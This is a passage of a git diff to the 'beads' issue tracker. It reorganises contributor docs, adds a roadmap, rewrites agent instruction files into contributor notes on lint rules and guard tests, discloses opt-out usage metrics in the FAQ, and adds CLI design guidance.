bugflow investigation workflow. | + +The current priorities are on the [roadmap](ROADMAP.md); work in a priority +area is reviewed first. + ## Development Setup ### Prerequisites @@ -29,6 +73,12 @@ make test make install ``` +Optional: if you use Bazel, opt in to the project's anonymous, read-only +build cache by adding `build --config=fork-cache` to your gitignored +`.bazelrc.local` (or pass `--config=fork-cache` per command). Results CI +already computed become cache hits, and nothing you build is uploaded. It is +off by default. + ## Project Structure ``` @@ -90,21 +140,23 @@ engine, or expand the database schema when issue metadata is sufficient. ### Workflow -1. Fork the repository -2. Create a feature branch (`git checkout -b feature/my-feature`) +1. Find or file a documented issue (see [Issues and pull requests](#issues-and-pull-requests)) +2. Fork the repository and create a feature branch (`git checkout -b feature/my-feature`) 3. Make your changes 4. Add tests for new functionality 5. Run tests and linter locally 6. Commit your changes with clear messages 7. Push to your fork -8. Open a pull request +8. Open a pull request whose description says `Closes #` ### Commit Messages -Write clear, concise commit messages: +Use [Conventional Commits](https://www.conventionalcommits.org/): +`type(scope): summary`, where type is one of `fix`, `feat`, `docs`, `test`, +`refactor`, `chore`, `ci`, or `perf`. ``` -Add cycle detection for dependency graphs +feat(dep): add cycle detection for dependency graphs - Implement recursive CTE-based cycle detection - Add tests for simple and complex cycles @@ -115,6 +167,10 @@ Add cycle detection for dependency graphs **One issue per PR, and one PR per issue.** No piggybacking or riders — each PR should address exactly one thing. +Read [CONTRIBUTING_PR_GUIDELINES.md](CONTRIBUTING_PR_GUIDELINES.md) for the +layering rules (schema → storage/issueops → cmd/bd, one layer per PR) and the +repro and benchmark evidence reviewers expect. + - Keep PRs focused on a single feature or fix - Do not include unrelated changes, cleanup, or "while I'm here" improvements - Do not include `.beads/` data (database, JSONL) in your PR @@ -178,22 +234,12 @@ round-trip paths should pattern-match on those tests. ## Feature Requests and Bug Reports -### Reporting Bugs - -Include in your bug report: -- Steps to reproduce -- Expected behavior -- Actual behavior -- Version of bd (`bd version` if implemented) -- Operating system and Go version - -### Feature Requests - -When proposing new features: -- Explain the use case -- Describe the proposed solution -- Consider backwards compatibility -- Discuss alternatives you've considered +Use the issue forms: [bug report](https://github.com/gastownhall/beads/issues/new?template=bug_report.yml) +or [feature request](https://github.com/gastownhall/beads/issues/new?template=feature_request.yml). +The feature form asks for the motivation, impact, risk and compatibility, +and verification plan up front, so a maintainer can accept the issue without +a round trip. Questions go to +[Discussions](https://github.com/gastownhall/beads/discussions). ## Your PR Will Not Be Overwritten @@ -309,11 +355,7 @@ dlv debug ./cmd/bd -- create "Test issue" (For maintainers) -1. Update version in code -2. Update CHANGELOG.md -3. Tag release: `git tag v0.x.0` -4. Push tag: `git push origin v0.x.0` -5. GitHub Actions will build and publish +Follow [RELEASING.md](RELEASING.md); it is the canonical release process. The pre-push version gate requires Go and validates each `v*` release tag against the checkout's canonical version. A batch containing different release diff --git a/README.md b/README.md index 6bc34354f..5526718f6 100644 --- a/README.md +++ b/README.md @@ -211,5 +211,6 @@ This is useful for: ## 📝 Documentation -* [Documentation site](https://beads.gascity.com/) | [Installing](docs/getting-started/installation.md) | [Sync Concepts](docs/core-concepts/sync-concepts.md) | [Agent Workflow](AGENT_INSTRUCTIONS.md) | [Copilot CLI Setup](docs/integrations/copilot-cli.md) | [Copilot VS Code MCP](docs/integrations/github-copilot.md) | [Articles](ARTICLES.md) | [Sync Branch Mode](docs/reference/protected-branches.md) | [Troubleshooting](docs/reference/troubleshooting.md) | [FAQ](docs/reference/faq.md) +* [Documentation site](https://beads.gascity.com/) | [Installing](docs/getting-started/installation.md) | [Sync Concepts](docs/core-concepts/sync-concepts.md) | [Agent Setup](docs/getting-started/ide-setup.md) | [Copilot CLI Setup](docs/integrations/copilot-cli.md) | [Copilot VS Code MCP](docs/integrations/github-copilot.md) | [Articles](ARTICLES.md) | [Sync Branch Mode](docs/reference/protected-branches.md) | [Troubleshooting](docs/reference/troubleshooting.md) | [FAQ](docs/reference/faq.md) +* Contributing: [CONTRIBUTING.md](CONTRIBUTING.md) | [Roadmap](ROADMAP.md) | [Contributor agent instructions](AGENTS.md) * [![Ask DeepWiki](https://deepwiki.com/badge.svg)](https://deepwiki.com/gastownhall/beads) diff --git a/ROADMAP.md b/ROADMAP.md new file mode 100644 index 000000000..214306136 --- /dev/null +++ b/ROADMAP.md @@ -0,0 +1,69 @@ +# Beads Roadmap + +Last updated: 2026-10-05 · Owner: [@julianknutsen](https://github.com/julianknutsen) + +This page lists the areas the maintainers are prioritizing. It reflects +current thinking, not commitments or dates: priorities change as we learn, +and the live state of each item is its tracking issue on GitHub. + +## How this roadmap is used + +- **Priority areas get expedited review.** Issues and PRs that advance a + priority area below are triaged and reviewed first. +- **Every PR links a documented issue.** To propose work — inside or + outside a priority area — open an issue with the feature form, before or + alongside your PR; see + [CONTRIBUTING.md](CONTRIBUTING.md#issues-and-pull-requests). +- **Scope.** Proposals must fit the product boundary in + [engdocs/PROJECT_CHARTER.md](engdocs/PROJECT_CHARTER.md). +- **Updates.** The owner rewrites this page at each minor release; the date + above says when it was last reviewed. + +## Priority areas for 1.4 + +### Versioned beads and history + +- **Goal:** every change to a bead is recorded as a version. Users can read + a bead's history and past versions, and writers can use `expectedRevision` + compare-and-swap to avoid lost updates. Everything ships behind a flag, off + by default, until the conformance suite and a production-corpus soak say + otherwise. +- **This period:** all six phases, enabled from the CLI by the end of the + period: conformance suite + ([#6133](https://github.com/gastownhall/beads/issues/6133)), additive + schema ([#6134](https://github.com/gastownhall/beads/issues/6134)), + dual-write history behind a flag + ([#6135](https://github.com/gastownhall/beads/issues/6135)), versioned + reads and CAS ([#6136](https://github.com/gastownhall/beads/issues/6136)), + production-corpus validation + ([#6137](https://github.com/gastownhall/beads/issues/6137)), and CLI + surfacing and enablement + ([#6138](https://github.com/gastownhall/beads/issues/6138)). +- **Tracking issue:** [#6132](https://github.com/gastownhall/beads/issues/6132); + design discussion stays on + [#5898](https://github.com/gastownhall/beads/issues/5898). + +### Beads Graph Preview 2 + +- **Goal:** ship Beads Graph Preview 2, the next public checkpoint for the + generic Bead-and-Link graph model: a coherent daily-use CLI journey in + graph mode that behaves like ordinary `bd`, backed by a complete, + reviewable CLI specification. +- **This period:** the reviewed graph CLI specification, a complete + daily-use Issue journey proven through the installed CLI on embedded and + shared-server Dolt, and editing around that Issue (labels, notes, Memory + and Link edits). +- **Tracking issue:** [#7170](https://github.com/gastownhall/beads/issues/7170) + +### Contributor onboarding + +- **Goal:** a new contributor, human or agent, finds the rules for the code + they are changing next to that code, understands its intent and + invariants, and lands a change with a documented issue and PR. +- **This period:** contributor-only agent instructions and documented-issue + intake ([#7223](https://github.com/gastownhall/beads/pull/7223)); + per-package `AGENTS.md` files for the storage packages, naming their + guard tests and lint rules; a package-doc linter and package docs for the + packages that have none; and a curated set of `help wanted` starter + issues. +- **Tracking issue:** [#7228](https://github.com/gastownhall/beads/issues/7228) diff --git a/cmd/bd/AGENTS.md b/cmd/bd/AGENTS.md index c5e09f399..5ddbc95f5 100644 --- a/cmd/bd/AGENTS.md +++ b/cmd/bd/AGENTS.md @@ -1,58 +1,90 @@ -# Agent Instructions +# cmd/bd — contributor notes -This project uses **bd** (beads) for issue tracking. Run `bd prime` for full workflow context. +`cmd/bd` is the `bd` CLI: one Go package (about 340 non-test files) plus the +`doctor/`, `setup/`, `protocol/`, `help_supplements/`, and `winres/` +subpackages. Commands decide what to do; storage work belongs below them in +`internal/storage/issueops` (see the layering rules in +[CONTRIBUTING_PR_GUIDELINES.md](../../CONTRIBUTING_PR_GUIDELINES.md)). -## Quick Reference +## File families -```bash -bd ready # Find available work (open, no blockers) -bd blocked # Show blocked issues and what blocks them -bd list # List all issues (with blocker annotations) -bd show # View issue details -bd update --claim # Claim work (atomic compare-and-swap) -bd close # Complete work -bd dolt push # Push to Dolt remote -``` +| Pattern | Meaning | +|---|---| +| `.go` | The Cobra command, its flags, and the mode-independent body. Registers itself with `rootCmd.AddCommand` in its own `init()` — `main.go` adds no commands. | +| `_proxied_server.go` | The proxied-server route for the same command. A command that touches the store on a proxied-server workspace needs one. | +| `capability_registry.go` | One table for every command path: what the pre-provider gate does with it on a proxied-server workspace. | +| `_embedded_test.go` | `cgo` tests against embedded Dolt. | +| `_integration_test.go` | Integration tests, usually `cgo && unix`. | +| `_proxied_test.go` | Proxied-server tests. | +| `_guard_test.go` | Policy and safety guards. | -**Dependency status**: `bd ready` and `bd blocked` are the authoritative -sources for whether work is blocked. `bd list` shows active blocker -annotations but use `bd ready`/`bd blocked` for accurate blocking status. +Which tier a test belongs in, and which command runs it, is decided by +[engdocs/TESTING.md](../../engdocs/TESTING.md). -## Agent Warning: Interactive Commands +## Adding a command -**DO NOT use `bd edit`** - it opens an interactive editor ($EDITOR) which AI agents cannot use. +1. Create `cmd/bd/.go` with the Cobra command and register it in that + file's `init()`. +2. Add its row to `capability_registry.go`. + `TestProxyCapabilityRegistryCoversCommandTree` fails if a command path is + missing, and `TestProxyCapabilityRegistryHasNoStaleRows` fails on rows for + paths that no longer exist. +3. If the command uses the store on proxied-server workspaces, add + `_proxied_server.go`. +4. Support `--json` for agent use. The `--json` wire surface is pinned by the + golden corpus in `protocol/` (`TestCorpusGolden`; regenerate with + `make corpus-regen` and review the diff — see `protocol/CATALOG.md`). +5. Add tests in the right tier. +6. Regenerate the CLI reference with `scripts/generate-cli-docs.sh`; + `scripts/check-cli-docs-drift.sh` fails a PR whose command-surface change + leaves the generated docs stale. -Use `bd update` with flags instead: -```bash -bd update --description "new description" -bd update --title "new title" -bd update --design "design notes" -bd update --append-notes "additional notes" # --notes replaces existing notes and requires --force once notes are set -bd update --acceptance "acceptance criteria" -``` +Prefer a flag on an existing command over a new command, and route +recovery/repair operations to `bd doctor --fix`; see the CLI design principles +in [engdocs/UI_PHILOSOPHY.md](../../engdocs/UI_PHILOSOPHY.md). -## Landing the Plane (Session Completion) +## Boundaries enforced by lint -**When ending a work session**, you MUST complete ALL steps below. Work is NOT complete until `git push` succeeds. +From `.golangci.yml` (read the rule comments there before changing scope): -**MANDATORY WORKFLOW:** +- **`cmd-bd-role-constructors` (depguard, all of `cmd/bd/**`):** "a command + reaches the reader role through store.IssueReader(), never through the + constructor: the accessor is where each storage decorator adds its layer". + The same applies to `store.Counter()`, `store.WorkspaceConfig()`, + `store.VersionReconciler()`, `store.StatsReporter()`, + `store.ReadyCounter()`, and `store.Querier()`. +- **`cmd-bd-domain-boundary` (depguard, `label.go` and `state.go`):** "bd label + and bd state reach storage through an issueops role accessor, never through + the domain use cases - see openIssueLifecycle in cmd/bd/label.go". +- **forbidigo `LabelUseCase$`:** "reach the label plane through + issueops.Lifecycle (Patch.Labels) and issueops.Reader, never the domain use + case". +- **forbidigo `types.IssueFilter` / `types.WorkFilter`:** "do not write a + filter here: take one back from a builder in internal/workapi, or pass the + whole request to issueops.Reader". `cmd/bd` denies these by default; the + files allowed to build their own filters are listed, with reasons, in + `.golangci.yml`. +- **forbidigo `fmt.Print*` / `os.Stdout` in list/graph code:** "route format + output through the command writer; mark an intentional non-format path + locally". -1. **File issues for remaining work** - Create issues for anything that needs follow-up -2. **Run quality gates** (if code changed) - Tests, linters, builds -3. **Update issue status** - Close finished work, update in-progress items -4. **PUSH TO REMOTE** - This is MANDATORY: - ```bash - git pull --rebase - git push - git status # MUST show "up to date with origin" - ``` -5. **Clean up** - Clear stashes, prune remote branches -6. **Verify** - All changes committed AND pushed -7. **Hand off** - Provide context for next session +A deliberate exception is marked on its line with +`//nolint:forbidigo // `; the reason is expected (review checks it; +no linter enforces it). -**CRITICAL RULES:** -- Work is NOT complete until `git push` succeeds -- NEVER stop before pushing - that leaves work stranded locally -- NEVER say "ready to push when you are" - YOU must push -- If push fails, resolve and retry until it succeeds +## Guard tests +- `TestEveryStoreConstructionActivatesTheEventsJournal` — every store + construction site activates the events journal; new non-bead-writing sites + go in its exemption table with a reason. +- `TestProxyCapabilityRegistryCoversCommandTree` and the other + `TestProxyCapabilityRegistry*` tests — the registry stays complete and + consistent. +- `TestCobraParallelPolicyGuard` — a test that calls `t.Parallel()` must not + call the Cobra methods in `cobraParallelUnsafeMethods`; drop `t.Parallel()` + or serialize the call under `stdioMutex`. +- `TestCorpusGolden` (`protocol/`) — no unreviewed change to the `--json` + wire shapes. + +Fresh-workspace command fixtures call `isolateBeadsDirForTest(t)` before +setup or dispatch and must not use `t.Parallel()`. diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 55b65d61f..a7098035f 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -1556,6 +1556,13 @@ exports_files( visibility = ["//test/docsync:__pkg__"], ) +# Contributor agent instructions; root AGENTS.md links them and +# //:docsync_files checks those links. +exports_files( + ["AGENTS.md"], + visibility = ["//:__pkg__"], +) + # Release-metadata surfaces gated by //internal/versioncheck's releaseSources # table: the canonical version and the Windows PE resource files. Aggregated # into //:release_metadata_files, which is what the tests declare as data. diff --git a/cmd/bd/CLAUDE.md b/cmd/bd/CLAUDE.md new file mode 120000 index 000000000..47dc3e3d8 --- /dev/null +++ b/cmd/bd/CLAUDE.md @@ -0,0 +1 @@ +AGENTS.md \ No newline at end of file diff --git a/docs/integrations/github-copilot.md b/docs/integrations/github-copilot.md index 0ba03ffcd..045fff66b 100644 --- a/docs/integrations/github-copilot.md +++ b/docs/integrations/github-copilot.md @@ -207,4 +207,4 @@ This page covers VS Code. For JetBrains IDEs, check whether your IDE supports MC - [Copilot CLI](/integrations/copilot-cli) - Terminal-based Copilot integration - [Quickstart](/getting-started/quickstart) - bd command basics - [Installation](/getting-started/installation) - Full install guide -- [Agent Instructions](https://github.com/gastownhall/beads/blob/main/AGENT_INSTRUCTIONS.md) - Full agent workflow reference +- [IDE and Agent Setup](/getting-started/ide-setup) - Agent integration profiles and setup diff --git a/docs/reference/faq.md b/docs/reference/faq.md index 657a0ed50..af2ae995f 100644 --- a/docs/reference/faq.md +++ b/docs/reference/faq.md @@ -46,6 +46,25 @@ Nothing specific — it's a metaphor for linked work items, like beads on a stri Beads is a 1.x product used in production for AI-assisted development. The core functionality — create, update, dependencies, ready work, Dolt-backed sync — is stable, and releases follow semantic versioning. Data stays portable: `bd export` produces human-readable JSONL, and `bd backup` pushes Dolt-native backups. As with any tracker holding work you care about, keep normal backup hygiene (a Dolt remote or a `bd backup` destination). +### Does bd collect usage metrics? + +`bd` collects anonymous command-usage metrics. Each event is a `cli_command` +record carrying only the command name; each batch also carries the bd version +and OS platform, keyed by a machine-derived, HMAC-protected distinct ID. No +email, repo path, remote URL, issue content, or user-supplied strings are +collected. Events are written under `~/.beads/eventsData` and POSTed to +`https://gastownhall-eventsapi.com/mp/collect`. + +Metrics are enabled by default (opt-out). The friendliest way to see or change +them is `bd metrics` (`bd metrics on` / `bd metrics off` / `bd metrics example`), +which takes effect on the next command with no restart. `BD_DISABLE_METRICS=1` +still works as a one-off, shell-scoped override. The cross-tool +[`DO_NOT_TRACK`](https://donottrack.sh/) standard is honored as a disable-only +opt-out: `DO_NOT_TRACK=1` opts out, while a falsey or empty value +(`DO_NOT_TRACK=0`, `false`, or unset-but-present) falls through to your saved +`bd metrics` preference instead of forcing metrics back on. `BD_DISABLE_METRICS` +is the bidirectional override and takes precedence when both are set. + ## Architecture ### Why Dolt instead of plain SQLite or flat files? diff --git a/engdocs/AGENTS.md b/engdocs/AGENTS.md new file mode 100644 index 000000000..40fdbdcf2 --- /dev/null +++ b/engdocs/AGENTS.md @@ -0,0 +1,45 @@ +# engdocs/ — contributor notes + +`engdocs/` holds contributor and internals documentation. It is read on +GitHub, not published: local links must be exact relative file paths, and +`TestEngdocsAndRootMarkdownLinks` in `test/docsync` fails on any that do not +resolve. User-facing documentation lives in `docs/` (the Mintlify site) and +follows the `beads-docs` skill. + +## What lives where + +| Path | Contents | +|---|---| +| `PROJECT_CHARTER.md` | Product boundary: what belongs in core, an integration, or the orchestration layer. | +| `TESTING.md`, `LINTING.md` | Canonical test and lint policy. | +| `ERROR_HANDLING.md`, `UI_PHILOSOPHY.md` | Conventions for errors and CLI output. | +| `ADDING_AN_ISSUEOPS_ROLE.md` | How to add a storage operation end to end. | +| `EXTENDING.md`, `INTEGRATION_CHARTER.md` | Extension and integration boundaries. | +| `AGENT_SIGNING.md` | Signatures for agent-prepared commits, comments, and reviews. | +| `design/` | Design documents for subsystems (Dolt concurrency, `bd serve`, ownership hand-off, …). | +| `adr/` | Architecture decision records, `-.md`, each with a `## Status` section. Accepted ADRs are superseded by a new ADR, not rewritten. | +| `decisions/` | Dated decision records for the docs tooling. | +| `staged-for-removal/` | Docs that no longer meet the active-doc bar (see `staged-for-removal/MANIFEST.md`). Do not link to or update them. | + +## Code orientation + +- `cmd/bd/` — the CLI (see [cmd/bd/AGENTS.md](../cmd/bd/AGENTS.md)). +- `internal/workapi/` — the work-query contract shared by every bd frontend: + filter construction, defaults, validation, response shaping. +- `internal/httpapi/` — the `bd serve` HTTP surface + ([SERVE_RUNBOOK.md](SERVE_RUNBOOK.md)). +- `internal/storage/` — shared storage interface and value types, plus + `HookFiringStore` and its `hook_*.go` decorators, which fire + on_create/on_update/on_close hooks after successful mutations. +- `internal/storage/issueops/` — transaction-scoped SQL operations shared by + the server-mode (`internal/storage/dolt/`) and embedded + (`internal/storage/embeddeddolt/`) stores. +- `internal/storage/schema/` — schema and migrations + ([migrations/README.md](../internal/storage/schema/migrations/README.md)). +- `internal/doltserver/` — lifecycle of a local `dolt sql-server` process. +- `beads.go`, `backend/`, `issueops/`, `journalops/`, `memoryops/`, + `format/`, `beadserrors/` — the public Go API for extending bd and for + out-of-tree storage backends. + +Each package's doc comment (`go doc ./internal/`) is the authoritative +description; prefer it over prose here when they disagree, and fix this file. diff --git a/engdocs/CLAUDE.md b/engdocs/CLAUDE.md deleted file mode 100644 index c59967dd1..000000000 --- a/engdocs/CLAUDE.md +++ /dev/null @@ -1,93 +0,0 @@ -# CLAUDE.md - -This file provides guidance to Claude Code (claude.ai/code) when working with code in this repository. - -## Project Overview - -**beads** (command: `bd`) is a Dolt-powered issue tracker for AI-supervised coding workflows. Git integration is optional — see `BEADS_DIR` + `--stealth` for git-free operation. We dogfood our own tool. - -**IMPORTANT**: See [AGENTS.md](../AGENTS.md) for complete workflow instructions, bd commands, and development guidelines. - -## Architecture Overview - -### Three-Layer Design - -1. **Storage Layer** (`internal/storage/`) - - **Dolt** in `storage/dolt/` — version-controlled SQL database with cell-level merge - - Common types and interfaces in `storage.go` - -2. **Database Runtime Layer** - - Embedded mode runs Dolt in-process through `internal/storage/embeddeddolt/` - - Server mode uses `internal/doltserver/` and `internal/storage/db/` - - Proxy and pidfile helpers live under `internal/storage/db/` - - Storage-facing server adapters live under `internal/storage/doltserver/` - -3. **CLI Layer** (`cmd/bd/`) - - Cobra-based commands (one file per command: `create.go`, `list.go`, etc.) - - Direct database access (embedded mode for standalone, server mode for orchestrator) - - All commands support `--json` for programmatic use - - Main entry point in `main.go` - -### Storage Architecture - -Beads uses **Dolt** as its storage backend — a version-controlled SQL database: - -``` -Dolt DB (.beads/dolt/) - ↕ Dolt commits (automatic per write) - ↕ Dolt push/pull (native sync) -Remote (Dolt remotes: DoltHub, S3, GCS, etc.) -``` - -- **Write path**: CLI → Dolt → auto-commit to Dolt history -- **Read path**: Direct SQL queries against Dolt -- **Sync**: Dolt handles versioning and sync natively via `bd dolt push` / `bd dolt pull` -- **Hash-based IDs**: Automatic collision prevention (v0.20+) - -Core implementation: -- Dolt storage: `internal/storage/dolt/` -- Embedded runtime: `internal/storage/embeddeddolt/` -- Server runtime: `internal/doltserver/`, `internal/storage/db/`, and `internal/storage/doltserver/` -- Sync commands: `cmd/bd/dolt_*.go`, `cmd/bd/sync_*.go` - -### Key Data Types - -See `internal/types/types.go`: -- `Issue`: Core work item (title, description, status, priority, etc.) -- `Dependency`: Four types (blocks, related, parent-child, discovered-from) -- `Label`: Flexible tagging system -- `Comment`: Threaded discussions -- `Event`: Full audit trail - -## Development Command Source - -Use the canonical [TESTING.md](TESTING.md) for test commands, test design, and -PR-readiness gates. This file should not duplicate command matrices or -version-management workflows. - -> **Do NOT** use `go build -o bd` or `go install` directly — they create -> stale binaries that shadow `~/.local/bin/bd`. Always use `make install`. - -## Testing - -Testing guidance lives in [TESTING.md](TESTING.md). Architecture-specific notes -for Claude are limited to where tests touch agent setup, hooks, or -instruction-file generation. - -## Important Notes - -- **Always read AGENTS.md first** - it has the complete workflow -- Check for duplicates proactively: `bd duplicates --auto-merge` -- Use `--json` flags for all programmatic use - -## Key Files - -- **AGENTS.md** - Complete workflow and development guide (READ THIS!) -- **README.md** - User-facing documentation -- **ADVANCED.md** - Advanced features (rename, merge, compaction) -- **docs/core-concepts/labels.md** - Complete label system guide -- **docs/reference/configuration.md** - Configuration system - -## When Adding Features - -See AGENTS.md "Adding a New Command" and "Adding Storage Features" sections for step-by-step guidance. diff --git a/engdocs/CLAUDE.md b/engdocs/CLAUDE.md new file mode 120000 index 000000000..47dc3e3d8 --- /dev/null +++ b/engdocs/CLAUDE.md @@ -0,0 +1 @@ +AGENTS.md \ No newline at end of file diff --git a/engdocs/DOC_INVENTORY.md b/engdocs/DOC_INVENTORY.md index 21e77acfa..02ec666e1 100644 --- a/engdocs/DOC_INVENTORY.md +++ b/engdocs/DOC_INVENTORY.md @@ -63,7 +63,7 @@ Follow-up automation should replace marker-only checks with generated or | `BDP_GRAPH_ARCHITECTURE.md` | Keep | Graph-plane design record; ruled contracts and dated dependency sources, not runtime or merge clearance. | | `BDP_GRAPH_CLI_AND_STORAGE_SPEC.md` | Keep | Graph-plane design record; ruled contracts and dated dependency sources, not runtime or merge clearance. | | `CLAUDE_INTEGRATION.md` | Keep | Design/user guide for Claude setup; paired with `SETUP.md`. | -| `CLAUDE.md` | Revise | Kept as architecture orientation only; command/workflow duplication was reduced in favour of root `AGENTS.md` and `AGENT_INSTRUCTIONS.md`. | +| `AGENTS.md` (`CLAUDE.md` is a symlink to it) | Keep | Contributor orientation for `engdocs/`: verified pointers only; workflow rules live in the root `AGENTS.md`. | | `CLI_REFERENCE.md` | Keep/generated | Generated command reference from live help output. | | `CI_CLEANUP_PLAN.md` | Keep as maintainer context | Dated CI policy, measurements, and implementation roadmap; current commands live in workflows and the `Makefile`. | | `CI_REQUIRED_CHECK_TOPOLOGY.md` | Keep as maintainer context | Implemented workflow design record for aggregate-gate policy; branch-protection and ruleset adoption remain pending. Live job membership and display names come from `.github/workflows/*.yml` and their structural tests; copied wiring and rollout steps are historical snapshots. | diff --git a/engdocs/TESTING.md b/engdocs/TESTING.md index 2bff6b677..c4970caef 100644 --- a/engdocs/TESTING.md +++ b/engdocs/TESTING.md @@ -195,6 +195,12 @@ rm -rf -- "$beads_manual_dir" itself redirect `bd init` workspace setup. Never run a manual `bd init` from a production workspace merely because `BEADS_DB` points elsewhere. +**Tmpfs hosts:** the `cmd/bd` test suite creates an isolated `$HOME` and several +test binaries under `$TMPDIR`. They are normally cleaned by the test process, +but a SIGKILLed or OOMed run can leave orphans behind. On hosts where `/tmp` +is tmpfs (e.g. Fedora Atomic / Bluefin), run `make clean-test-tmp` between +test runs if `du -sh /tmp/beads-* /tmp/bd-*` shows accumulation. See bd-3q2u. + `testing.Short()` is for genuine runtime, stress, or large-fixture skips. It is not a substitute for declaring an integration, end-to-end, API, Docker, or external-dependency boundary. Keep new uses within the repository policy: diff --git a/engdocs/UI_PHILOSOPHY.md b/engdocs/UI_PHILOSOPHY.md index f7cf87c44..201e66f5c 100644 --- a/engdocs/UI_PHILOSOPHY.md +++ b/engdocs/UI_PHILOSOPHY.md @@ -106,6 +106,113 @@ Following Tufte's principle of layered information: 5. **Descriptions** - Plain, primary content 6. **Examples** - Plain, copy-paste friendly +## Visual Design System + +When adding CLI output features, follow these design principles for consistent, +cognitively friendly visuals. + +### No Emoji-Style Icons + +Do not use large colored emoji icons like red/orange/yellow/blue/white circles +for priorities or status. They cause cognitive overload and break visual +consistency. + +Use small Unicode symbols with semantic colors applied via lipgloss: + +- Status: `○ ◐ ● ✓ ❄` +- Priority: `P0`–`P4` label with color (no status glyph) + +### Status Icons + +Use these symbols consistently across all commands: + +```text +○ open - Available to work (white/default) +◐ in_progress - Currently being worked (yellow) +● blocked - Waiting on dependencies (red) +✓ closed - Completed (muted gray) +❄ deferred - Scheduled for later (blue/muted) +``` + +### Priority Labels and Colors + +Format priority as the P-label with color only (no status glyph — `●` is blocked status): + +- `P0`: Red + bold (critical) +- `P1`: Orange (high) +- `P2`: Amber (elevated) +- `P3`–`P4`: Default text + +### Issue Type Colors + +- `bug`: Red (problems need attention) +- `epic`: Purple (larger scope) +- Others: Default text + +### Design Principles + +1. Small Unicode symbols only; avoid emoji blobs. +2. Semantic colors only for actionable items; do not color everything. +3. Closed items fade using muted gray. +4. Prefer icons over text labels for scanability. +5. Keep icons consistent across list, graph, show, and related commands. +6. Use tree connectors (`├──`, `└──`, `│`) for hierarchies. +7. Reduce cognitive noise; do not show `needs:1` when it is just the parent epic. + +### Semantic Styles + +Use exported styles from `internal/ui/styles.go`: + +```go +// Status styles +ui.StatusInProgressStyle // Yellow - active work +ui.StatusBlockedStyle // Red - needs attention +ui.StatusClosedStyle // Muted gray - done + +// Priority styles +ui.PriorityP0Style // Red + bold +ui.PriorityP1Style // Orange + +// Type styles +ui.TypeBugStyle // Red +ui.TypeEpicStyle // Purple + +// General styles +ui.PassStyle, ui.WarnStyle, ui.FailStyle +ui.MutedStyle, ui.AccentStyle +ui.RenderMuted(text), ui.RenderAccent(text) +``` + +Example: + +```go +switch issue.Status { +case types.StatusOpen: + icon = "○" +case types.StatusInProgress: + icon = ui.StatusInProgressStyle.Render("◐") +case types.StatusBlocked: + icon = ui.StatusBlockedStyle.Render("●") +case types.StatusClosed: + icon = ui.StatusClosedStyle.Render("✓") +} +``` + +## CLI Design Principles + +**Minimize cognitive overload.** Every new command, flag, or option adds cognitive burden for users. Before adding anything: + +1. **Recovery/fix operations → `bd doctor --fix`**: Don't create separate commands like `bd recover` or `bd repair`. Doctor already detects problems - let `--fix` handle remediation. This keeps all health-related operations in one discoverable place. + For git hook marker migration specifically: use `bd migrate hooks --dry-run` to preview operations, and `bd doctor --fix` for the standard apply path. + +2. **Prefer flags on existing commands**: Before creating a new command, ask: "Can this be a flag on an existing command?" Example: `bd list --stale` instead of `bd stale`. + +3. **Consolidate related operations**: Related operations should live together. Version control uses `bd vc {log,diff,commit}`, not separate top-level commands. + +4. **Count the commands**: Run `bd --help` and count. If we're approaching 30+ commands, we have a discoverability problem. Consider subcommand grouping. + +5. **New commands need strong justification**: A new command should represent a fundamentally different operation, not just a convenience wrapper. + ## References - Tufte, E. (2001). *The Visual Display of Quantitative Information* diff --git a/internal/storage/schema/BUILD.bazel b/internal/storage/schema/BUILD.bazel index 5108ff37d..1975dfb22 100644 --- a/internal/storage/schema/BUILD.bazel +++ b/internal/storage/schema/BUILD.bazel @@ -179,6 +179,12 @@ filegroup( visibility = ["//internal/storage:__subpackages__"], ) +# Linked from the root and engdocs AGENTS.md; //:docsync_files checks those links. +exports_files( + ["migrations/README.md"], + visibility = ["//:__pkg__"], +) + # --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( diff --git a/scripts/check-doc-flags.sh b/scripts/check-doc-flags.sh index 96ce8d39a..72d2bf3b9 100755 --- a/scripts/check-doc-flags.sh +++ b/scripts/check-doc-flags.sh @@ -67,7 +67,7 @@ echo "=== Check 1: Removed commands ===" SYNC_REFS=$(grep -rn 'bd sync\b' \ "$PROJECT_ROOT"/docs/*.md \ "$PROJECT_ROOT"/docs/*/*.md \ - "$PROJECT_ROOT"/AGENT_INSTRUCTIONS.md \ + "$PROJECT_ROOT"/cmd/bd/AGENTS.md \ "$PROJECT_ROOT"/AGENTS.md \ "$PROJECT_ROOT"/README.md \ "$PROJECT_ROOT"/npm-package/*.md \ @@ -108,7 +108,7 @@ fi BRANCH_REFS=$(grep -rn 'bd init.*--branch' \ "$PROJECT_ROOT"/docs/*.md \ "$PROJECT_ROOT"/docs/*/*.md \ - "$PROJECT_ROOT"/AGENT_INSTRUCTIONS.md \ + "$PROJECT_ROOT"/cmd/bd/AGENTS.md \ "$PROJECT_ROOT"/AGENTS.md \ "$PROJECT_ROOT"/README.md \ 2>/dev/null \ @@ -135,7 +135,7 @@ echo "=== Check 3: Legacy storage references ===" SQLITE_REFS=$(grep -rn 'beads\.db\|default\.db\|sqlite3.*\.beads\|\.beads/.*\.db' \ "$PROJECT_ROOT"/docs/*.md \ "$PROJECT_ROOT"/docs/*/*.md \ - "$PROJECT_ROOT"/AGENT_INSTRUCTIONS.md \ + "$PROJECT_ROOT"/cmd/bd/AGENTS.md \ "$PROJECT_ROOT"/AGENTS.md \ "$PROJECT_ROOT"/README.md \ 2>/dev/null \ diff --git a/test/docsync/BUILD.bazel b/test/docsync/BUILD.bazel index 08c49926b..20fb12ae9 100644 --- a/test/docsync/BUILD.bazel +++ b/test/docsync/BUILD.bazel @@ -3,6 +3,7 @@ load("@rules_go//go:def.bzl", "go_test") go_test( name = "docsync_test", srcs = [ + "agentfiles_test.go", "docsync_test.go", "doltpin_test.go", "init_safety_recovery_test.go", diff --git a/test/docsync/agentfiles_test.go b/test/docsync/agentfiles_test.go new file mode 100644 index 000000000..f37e53937 --- /dev/null +++ b/test/docsync/agentfiles_test.go @@ -0,0 +1,214 @@ +package docsync + +import ( + "bytes" + "io/fs" + "os" + "path/filepath" + "regexp" + "sort" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/testutil/bazeltest" +) + +// rootAgentsMaxBytes caps the root AGENTS.md. Agent tools load it into every +// session, Codex stops reading project instructions at 32 KiB combined, and +// area-specific rules belong in 